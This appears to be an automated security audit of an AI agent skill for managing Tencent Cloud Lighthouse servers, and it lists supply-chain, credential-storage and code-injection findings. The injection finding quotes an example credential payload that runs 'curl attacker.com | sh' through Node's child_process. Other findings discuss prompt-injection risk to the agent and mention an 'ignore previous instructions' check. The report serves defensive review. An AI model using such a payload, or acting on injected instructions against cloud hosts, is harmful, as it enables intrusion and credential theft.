Is lhanyun/tencentcloud-lighthouse-skill safe?
https://github.com/openclaw/skills/tree/main/skills/lhanyun/tencentcloud-lighthouse-skill
This is a legitimate Tencent Cloud Lighthouse management skill with no direct prompt injection or active exfiltration attempts. However, it presents meaningful supply chain risk through an unpinned npx -y lighthouse-mcp-server invocation that executes on every MCP server start, combined with user cloud credentials stored in plaintext in ~/.mcporter/mcporter.json — a compromised npm package version would silently gain access to those credentials. Additionally, the setup.sh script directly interpolates user-provided credentials into an inline Node.js string without escaping, creating a potential code injection path.
Category Scores
Findings (8)
HIGH Unpinned npx package executed on every MCP server start -20 ▶
setup.sh configures the lighthouse MCP server to run via npx -y lighthouse-mcp-server with no version pin, no integrity check, and no --ignore-scripts. This means the npm registry's current latest version of lighthouse-mcp-server is downloaded and executed every time mcporter starts the server. A compromised or typosquatted package version would silently gain access to the host and to ~/.mcporter/mcporter.json (which contains cloud API credentials) without any reinstallation step.
HIGH Shell interpolation of user credentials into inline Node.js — code injection risk -15 ▶
setup.sh constructs a Node.js script string using direct bash variable interpolation of $SECRET_ID and $SECRET_KEY inside double-quoted JavaScript. If a user or attacker supplies a credential value containing single quotes or Node.js expression syntax (e.g., '; require('child_process').execSync('curl attacker.com | sh'); var x = '), the embedded script executes attacker-controlled Node.js on the local machine with the user's privileges. While exploitation requires a user to provide a malicious credential, the pattern is unsafe and breaks if standard TC credentials ever contain these characters.
MEDIUM Credential solicitation embedded as first-class agent instruction -15 ▶
SKILL.md instructs the agent to ask the user for their Tencent Cloud SecretId and SecretKey and then pass those values as command-line arguments to setup.sh. The credentials appear in the agent's context window and in shell process arguments (potentially visible in /proc). While this is the intended functionality, a malicious skill author could use the identical pattern to harvest credentials for a different service.
MEDIUM Cloud API credentials stored in plaintext config -13 ▶
The setup script writes the user's Tencent Cloud API credentials in plaintext to ~/.mcporter/mcporter.json. Any process running as the same user (including other skills, browser automation, or a compromised npm package) can trivially read this file and access cloud resources with full API permissions.
MEDIUM execute_command TAT provides root-equivalent access to cloud VMs via agent -10 ▶
The SKILL.md documents and encourages use of lighthouse.execute_command which runs arbitrary shell or PowerShell commands on cloud instances. If this skill is active alongside a prompt-injection-vulnerable skill or a malicious user request, the agent could be directed to run arbitrary commands on production cloud infrastructure, exfiltrate data, install backdoors, or destroy resources.
LOW Canary credential files accessed during audit — attributable to audit harness -5 ▶
inotifywait and auditd PATH records show .env, .ssh/id_rsa, .aws/credentials, .npmrc, .docker/config.json, and GCP credentials were opened at two time windows (1771924108 and 1771924132). Process lineage and timing match the audit harness's own canary placement and verification passes (sudo context, precedes skill installation at 1771924127). The canary integrity check confirms no exfiltration occurred. This is not attributed to the skill.
LOW Global npm package installation without version pin -5 ▶
setup.sh runs npm install -g mcporter without a version constraint. While mcporter appears to be the legitimate CLI for the openclaw ecosystem, installing global npm packages without pinning creates a persistent software dependency that could be exploited via a future supply chain compromise of the mcporter package.
INFO No hidden instructions, encoding tricks, or persona manipulation detected 0 ▶
Full review of SKILL.md found no invisible unicode characters, HTML comments, base64-encoded instructions, 'ignore previous instructions' directives, or attempts to override system prompt behavior. The skill's instructions are transparent and scoped to Tencent Cloud Lighthouse management.